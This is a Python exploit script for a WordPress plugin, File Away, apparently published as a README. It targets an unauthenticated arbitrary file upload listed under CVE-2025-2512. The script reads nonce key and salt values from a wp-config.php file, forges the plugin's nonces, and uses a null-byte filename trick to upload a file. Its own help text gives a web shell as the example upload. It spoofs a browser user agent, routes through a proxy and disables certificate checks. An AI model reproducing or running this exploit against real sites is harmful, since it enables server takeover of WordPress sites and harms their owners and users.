README.md
Rendering markdown...
#!/usr/bin/env python3
# =============================================================================
# Author: @whattheslime
# CVE: CVE-2025-2512
# Date: March 2023
# Product: File Away (WordPress plugin)
# Title: Unautenticated arbitrary file upload
# Vendor URL: https://wordpress.org/plugins/file-away/
# Version: <= 3.9.9.0.1
# -----------------------------------------------------------------------------
# Install: python3 -m venv venv && venv/bin/pip install httpx
# Usage: venv/bin/python3 file_upload.py -h
# =============================================================================
from argparse import ArgumentParser, Namespace
from pathlib import Path
from base64 import b64encode
from hashlib import md5
from hmac import HMAC
from httpx import Client
from math import ceil, floor
from pathlib import Path
from secrets import token_hex
from re import findall
from time import time
from urllib.parse import urljoin
AGENT = (
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 "
"Firefox/120.0"
)
ERRO = "\033[1;31m[!]\033[0m"
INFO = "\033[1;34m[-]\033[0m"
SUCC = "\033[1;32m[+]\033[0m"
DAY_IN_SECONDS = 86400
def wp_nonce_tick(action: int = -1) -> int:
"""Returns the time-dependent variable for nonce creation."""
return ceil(floor(time()) / (DAY_IN_SECONDS / 2))
def wp_hash(data: str) -> str:
"""Gets hash of given string."""
salt = (nonce_key + nonce_salt).encode()
return HMAC(salt, data.encode(), digestmod=md5).hexdigest()
def wp_create_nonce(action: int = -1, user_id: int = 0, token: str = "") -> str:
"""Creates a cryptographic token tied to a specific action, user,
user session, and window of time."""
i = str(wp_nonce_tick(action))
return wp_hash("|".join((i, action, str(user_id), token)))[-12:][:10]
def upload(http: Client, target: str, webroot: Path, filepath: Path):
ajax_url = urljoin(target, f"wp-admin/admin-ajax.php?t={token_hex(5)}")
directory = "wp-content"
file_size = filepath.stat().st_size
file_name = filepath.name.replace(".php", ".\\0php")
remote_file_path = (
str(webroot / directory / file_name.replace("\\", "/"))
.strip("/")
.strip("\\")
)
nonce = wp_create_nonce("fileaway-nonce")
upload_nonce = wp_create_nonce("fileaway-fileup-nonce")
location = remote_file_path.encode()
loc_action = "fileaway-location-nonce-" + b64encode(location).decode()
loc_nonce = wp_create_nonce(loc_action)
print(INFO, f"nonce: {nonce}")
print(INFO, f"upload_nonce: {upload_nonce}")
print(INFO, f"loc_nonce: {loc_nonce}")
data = {
"action": "fileaway-manager",
"act": "upload",
"nonce": nonce,
"upload_nonce": upload_nonce,
"max_file_size": file_size,
"loc_nonce": loc_nonce,
"upload_path": directory,
"extension": "jpeg",
"new_name": file_name,
}
files = {"upload_file": ("test", open(filepath, "rb"))}
response = http.post(ajax_url, data=data, files=files)
if 'status":"success' in response.text:
path = urljoin(target, directory + "/" + filepath.name)
print(SUCC, f"File uploaded: {path}")
else:
print(ERRO, f"Error during upload: {response.json()['message']}")
def parse_args() -> Namespace:
parser = ArgumentParser()
parser.add_argument(
"-t", "--target", type=str, required=True,
help="target URL (e.g. http://127.0.0.1)"
)
parser.add_argument(
"-c", "--config", type=Path, required=True,
help="wp-config.php local file path"
)
parser.add_argument(
"-f", "--file", type=Path, required=True,
help="file path to upload (e.g. webshell.php)"
)
parser.add_argument(
"-w", "--webroot", type=Path, default="/var/www/html", required=True,
help="target webroot (default: /var/www/html)"
)
parser.add_argument(
"-x",
"--proxy",
type=str,
help="Proxy URL (e.g. socks5h://127.0.0.1:2222)",
)
return parser.parse_args()
def main():
"""Program entry point."""
args = parse_args()
target = args.target
webroot = args.webroot
wp_config = args.config
file_path = args.file
proxy = args.proxy
try:
global nonce_key
global nonce_salt
nonce_key, nonce_salt = findall(
r"NONCE_(?:KEY|SALT)', +'([^']+)", wp_config.read_text()
)
with Client(
follow_redirects=False,
headers={"User-Agent": AGENT},
proxy=proxy,
verify=False,
) as http:
upload(http, target, webroot, file_path)
except Exception as error:
print(ERRO, error)
if __name__ == "__main__":
main()